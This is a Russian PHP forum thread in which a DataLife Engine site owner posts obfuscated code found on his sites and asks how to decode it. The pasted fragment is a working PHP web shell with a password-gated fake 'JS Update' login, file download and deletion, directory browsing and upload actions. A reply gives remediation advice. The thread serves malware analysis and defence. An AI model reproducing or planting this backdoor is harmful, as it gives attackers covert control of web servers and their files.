За последние 24 часа нас посетили 17795 программистов и 1335 роботов. Сейчас ищут 1228 программистов ...

Расшифровать левый код на моих сайтах Datalife Engine DLE

Тема в разделе "PHP для профи", создана пользователем Евгений Владимирович, 22 мар 2025.

  1. Евгений Владимирович

    Евгений Владимирович Активный пользователь

    С нами с:
    3 май 2009
    Сообщения:
    33
    Симпатии:
    0
    При сравнении с оригинальным дистрибутивом DLE
    Обнаруживаю левый код
    И чем больше копаюсь- тем больше нахожу левого кода
    Файлы зашифрованы
    Хотелось бы расшифровать их
    фрагменты кода:
    $dle_0="md5";$dle_1 = $_GET['version'];
    if( $dle_0 ($dle_1) == "982c359de6ad3fc0ae1f77e30225fde3")
    {$dle_2='f03d0b9bfe5123ca845f64a7d95f0f60';$dle_3='b5a8444bc269adc9aef3a67379d26fa2';$dle_4=1;$dle_5='';
    $dle_6="<S\x54YLE\x3e\x0d\012BOD\x59{f\157nt:\0408\160t \166erdana, gene\x76a, luc\x69da\x2c 'lu\143id\x61 \147\162an\x64e', arial\054 hel\x76etica, \x73a\156\163-serif;\x73\x63r\x6f\154lbar-sh\141dow\x2dcolor: #333333;padding:0;\163crollba\x72-\x33dlight-color: \0433\x33\x33333;M\x41RG\x49N-\102\x4fTTOM:\0400px\x3bb\141\x63kg\162ound-\x63ol\157\x72: #6B\070E23;scrol\154bar-a\162r\x6fw-\143olor: #\06333333;\163cro\154lbar-fac\x65-\x63o\x6cor: #\x38\x427765\073MA\122GIN\055TOP: 0\160\170;col\x6f\162:\040#C\x31\x431C\067\073MA\122GIN-RI\x47H\124: \x30\160x;m\x61\162gin:0\073sc\x72o\x6clb\141r-\x68ighli\147ht\x2dcolo\x72: \x233333\x333;\x73crollba\162-d\141rksh\x61dow-color: #333333\073MARGI\x4e-LEFT: 0px;\x73cr\x6fllb\x61r-t\162ack-co\154or: #3\063333\x33;}\015\x0ainput{f\157nt-\146amily\072\x20\x54ahoma;b\x61ck\x67r\157und-color\x3a #8\1027\x376\065;borde\x72\072 1\040solid \x23666\06666\073font-size: 8pt;color: \x23FFF\106FF;}\x0d\012select{color: #\106FF\106FF;backgro\165nd\x2dco\154\x6f\162: #336\066\0600;\x66\157nt-\146amily:\040Tahoma;f\157nt-size: 8pt\073bord\145\x72\x3a\x201 sol\151d #\x3666666;\175\x0d\x0atextare\141{f\157\x6et-s\x69z\145: 8pt;font-fami\x6c\171:\x20\124\141homa;co\x6c\x6fr: #FFFFFF;background\055\x63olor: #333333;border:\x20\061 \x73\157\x6cid #6\0666666;}\015\x0aa\072li\x6ek{text-decorat\x69o\156: \156one\073c\x6f\x6c\157r: #\x429\x429BD;f\x6f\x6et\x2d\163ize: 8pt;}\015\x0aa\x3a\x76i\x73i\164ed{te\x78t-de\143orat\x69on\072 none;c\x6flor: #B\x39B9B\x44;font-si\x7ae: 8pt;}\015\012a:h\157\x76er, a:ac\x74ive{f\157nt-size: 8p\x74\073t\145x\x74-\144e\143oration: no\x6ee;color\072 #E7E7EB\x3bwi\144t\150:\04010\x30\045\x3bbackground-c\157\x6cor: #\1018A8AD\x3b}\x0d\x0at\x64, t\150, \160\x2c li{f\x6f\156t: 8pt\040verdana\054 g\x65ne\x76a, lu\x63ida,\040'lu\143\151da\040\147ra\x6ede', \141rial, he\x6c\166etic\x61,\040sans\x2d\163e\162\151f;border-col\x6f\162:blac\153;}\x0d\x0a</\163tyle\076";$dle_7="<html\x3e <head> <ti\164l\145>".getenv("HT\x54P_HO\123\124")." - \112S </tit\x6ce\076 <meta http-equ\151v=\x22\x43\157n\164ent-Typ\145\x22 conte\x6e\164\075\x22text\x2fhtml\073 charse\x74\x3dwind\157ws-1\0625\x31\x22>".$dle_6." </h\x65ad> <BODY \040t\x6fpM\141\162\147in=0 \154\x65ftMargin=0\x20ma\162g\x69nheigh\164=0 \x72ightMa\x72\x67in=0 mar\x67\151nwidth=0\x3e";if(@$_POST['action']=="exit")unset($_SESSION['an']);if($dle_4==1){if($dle_0(@$_POST['loger'])==$dle_2 && $dle_0(@$_POST['worder'])==$dle_3)$_SESSION['an']=1;}else $_SESSION['an']='1';
    if(@$_SESSION['an']==0){echo $dle_7;
    echo"<\x63enter><table\x3e<fo\162\x6d\x20metho\x64=\042\120OST\x22\076<tr\076\074b>JS Upda\x74e</b><td>JS M\157del:<\x2ft\144>\x3ctd><input ty\160e=\x22text\x22 na\155\x65=\x22\154\x6fger\x22 \x76alue\075\042\x22>\x3c/\164d></t\162><\x74r><td\x3eJS V\x65rsion:</t\x64><td><\x69\156put\x20type=\042p\141\163\163\167ord\x22\x20n\141me=\042\x77or\144er\x22 valu\x65=\042\x22\x3e</td><\x2ftr><\x74\x72\x3e\074\x74d>\x3c/td><td><inp\x75t type\075\042submit\042 val\165e=\x22Update\042></td>\074/tr\x3e\074/fo\x72m>\x3c/\x74able>\074\x2f\x63e\x6e\164er>";echo $dle_8;
    exit;}
    function js__0($dle_9){if(@mkdir($dle_9))echo "Dirc\150ik\040\112S c\162eate "; else echo "Dont\040c\x72eat\x65 d\151\x72\x63\x68ik \146\x6fr JS ";}
    if($_SESSION['action']=="")$_SESSION['action']="viewer";if(@$_POST['action']!="" )$_SESSION['action']=$_POST['action'];$dle_10=$_SESSION['action'];if(@$_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dle_9=$_SESSION['dir'];
    $dle_9=@chdir($dle_9);
    $dle_9=getcwd()."/";
    $dle_9=str_replace("\\","/",$dle_9);if(@$_POST['file']!=""){$dle_11=$_SESSION['file']=$_POST['file'];}else {$dle_11=$_SESSION['file']="";}
    if($dle_10=="download"){
    header('Content-Type: application/octet-stream');
    header('Content-Length:'.filesize($dle_11).'');
    header('Content-Disposition: attachment; filename="'.$dle_11.'"');
    readfile($dle_11);
    }if($dle_10=="delete"){
    if(unlink($dle_11)) $dle_5.=$dle_12;
    }if($dle_10=="deletedir"){if(!rmdir($dle_11)) $dle_5.="Dir JS denied or\x20not empt\x79.";else $dle_5.=$dle_13;
    }echo $dle_7;
    echo"<\x74abl\x65 widt\x68=\042100%\042 bgcolor=\x22#3366\x30\x30\042\x20align=\x22\162\x69ght\042\x20\143o\154span=\0422\x22 borde\162=\0420\042 cellspacing=\0420\x22 c\145l\154pa\x64ding\x3d\x220\x22>\x3ctr><td><ta\142le><tr>\x3c\x74\144\x3e<a hre\x66=\x22#\042 \157nclick=\042document.reqs\056act\x69on.value\075'vi\x65\167\145r'; do\x63ume\x6et\x2ereqs.submit()\x3b\042>| JS.viewer\x3c/a\x3e<\057\x74d><td><a href=\042#\042 o\156\x63lic\153\x3d\x22doc\x75me\156t.re\161s.acti\157n.value\x3d'upl\157ad';\040\x64ocu\155ent\056reqs.\163ubmit(\x29\x3b\x22>| \112S.load\x3c/a>\x3c/td><td><a hr\145f\075\042#\x22\040onc\x6cick=\042document.reqs.a\143tion.va\154ue='phpval'\x3b docu\155ent.re\161s.su\x62m\x69t(\051;\x22>| JS.php</a\076<\x2ftd><t\x64><a\x20h\x72\145f=\x22\043\042\040o\x6ecli\143\153=\x22doc\165m\x65nt.\162\145qs.action.val\165e\x3d'exit'; do\x63\x75men\164.re\161\163\x2esub\155\151t();\x22\x3e\174JS.\x78\x69\x74\040|</a></td></tr\076\074\057\164\x61ble></td></tr></t\x61ble><\142r><f\x6frm nam\x65=\047r\x65\x71s' method='P\x4f\123T'\x3e<\x69nput\x20n\141me='actio\x6e' ty\x70\145=\x27\x68\151dden' value='\047><i\x6e\160ut na\x6d\145=\047dir' t\171p\145=\x27\150i\144den' \166alue='\047><i\156put\x20name='file'\040type='\150idden' value=''></for\x6d><table \163tyle=\x22BORDE\122-COLLAPSE: col\154ap\x73e\x22\x20cellS\160acing\x3d0 \142orderColorDa\162k\x3d#66666\066 c\x65llP\x61d\x64ing\x3d5 wid\x74h=\042100%\x22 bg\x43ol\x6f\162=#333333 borde\x72ColorLi\147ht=#\1430c0c\060\x20border=\061><tr>\074t\x64 \x77i\144th=\x221\0600%\x22\x20\166ali\147n=\042top\x22>\015\012";
    if(@$dle_5!="") echo $dle_5;
    function js__1($dle_11)
    {$dle_14 = fileperms($dle_11);
    if (($dle_14 & 0xC000) == 0xC000) {$dle_15 = 's';}
    elseif (($dle_14 & 0xA000) == 0xA000) {$dle_15 = 'l';}
    elseif (($dle_14 & 0x8000) == 0x8000) {$dle_15 = '-';}
    elseif (($dle_14 & 0x6000) == 0x6000) {$dle_15 = 'b';}
    elseif (($dle_14 & 0x4000) == 0x4000) {$dle_15 = 'd';}
    elseif (($dle_14 & 0x2000) == 0x2000) {$dle_15 = 'c';}
    elseif (($dle_14 & 0x1000) == 0x1000) {$dle_15 = 'p';}
    else {$dle_15 = 'u';}
    $dle_15 .= (($dle_14 & 0x0100) ? 'r' : '-');
    $dle_15 .= (($dle_14 & 0x0080) ? 'w' : '-');
    $dle_15 .= (($dle_14 & 0x0040) ?(($dle_14 & 0x0800) ? 's' : 'x' ) :(($dle_14 & 0x0800) ? 'S' : '-'));
    $dle_15 .= (($dle_14 & 0x0020) ? 'r' : '-');
    $dle_15 .= (($dle_14 & 0x0010) ? 'w' : '-');
    $dle_15 .= (($dle_14 & 0x0008) ?(($dle_14 & 0x0400) ? 's' : 'x' ) :(($dle_14 & 0x0400) ? 'S' : '-'));
    $dle_15 .= (($dle_14 & 0x0004) ? 'r' : '-');
    $dle_15 .= (($dle_14 & 0x0002) ? 'w' : '-');
    $dle_15 .= (($dle_14 & 0x0001) ?(($dle_14 & 0x0200) ? 't' : 'x' ) :(($dle_14 & 0x0200) ? 'T' : '-'));
    if (!@is_readable($dle_11))
    return '<font color=#FF0000>' . $dle_15 . '</font>';
    elseif (!@is_writable($dle_11))
    return '<font color=white>' . $dle_15 . '</font>';
    else
    return '<font color=#25ff00>' . $dle_15 . '</font>';
    return $dle_15;
    }



    function js__2($dle_16)
    {
    if($dle_16 >= 1073741824) {$dle_16 = @round($dle_16 / 1073741824 * 100) / 100 . " GB";}
    elseif($dle_16 >= 1048576) {$dle_16 = @round($dle_16 / 1048576 * 100) / 100 . " MB";}
    elseif($dle_16 >= 1024) {$dle_16 = @round($dle_16 / 1024 * 100) / 100 . " KB";}
    else {$dle_16 = $dle_16 . " B";}
    return $dle_16;
    }function js__3($dle_9){echo "<table cellSpacing=0 border=1 style=\"border-color:black;\" cellPadding=0 width=\"100%\">";echo "<tr><td><form method=POST>Open dr:<input type=text name=dir value=\"".$dle_9."\" size=100><input type=submit value=\"GO\"></form></td></tr>";
    if (is_dir($dle_9)) {
    if (@$dle_17 = opendir($dle_9)) {
    while (($dle_11 = readdir($dle_17)) !== false) {
    if(filetype($dle_9 . $dle_11)=="dir") $dle_18[]=$dle_11;
    if(filetype($dle_9 . $dle_11)=="file")$dle_19[]=$dle_11;
    }closedir($dle_17);@sort($dle_18);@sort($dle_19);echo "<tr><td>lect drv:";for ($dle_20=ord('C'); $dle_20<=ord('Z'); $dle_20++) if (@$dle_17 = opendir(chr($dle_20).":/"))echo '<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.chr($dle_20).':/\'; document.reqs.submit();"> '.chr($dle_20).'<a/>';echo "</td></tr>";$dle_21="ph"."p_un"."ame";echo "<tr><td>OS: ".@$dle_21()."</td></tr><tr><td>dir & file</td><td>type</td><td>size</td><td>perm</td><td>option</td></tr>";for($dle_22=0;$dle_22<count($dle_18);$dle_22++) {$dle_23=$dle_9.$dle_18[$dle_22];echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$dle_23.'\'; document.reqs.submit();">....

    Прикрепил файл во вложении
    Посмотрите пожалуйста
    Я понимаю что там возможно скрипт для загрузки левых скриптов на сайт.(но что-то он достаточно большой)
    И хотелось бы расшифровать его, чтобы найти все подобные файлы и обезопасится от них
     

    Вложения:

    • js.txt
      Размер файла:
      16,7 КБ
      Просмотров:
      3
  2. brevis

    brevis Активный пользователь

    С нами с:
    23 июл 2019
    Сообщения:
    93
    Симпатии:
    25
    Расшифровать можно на https://malwaredecoder.com и аналогичных сервисах.

    Инфицированные DLE файлы лучше заменить оригинальными и настроить сервер таким образом, чтобы их нельзя было перезаписать от web-пользователя (web, www, www-data...) (проконсультируйтесь с поддержкой хостинга).

    Файлы из пользовательского контента нужно по возможности вылечить антивирусами для хостинга или руками, в противном случае удалить. И запретить запуск скриптов из директории с пользовательским контентом.
     
    don.bidon и artoodetoo нравится это.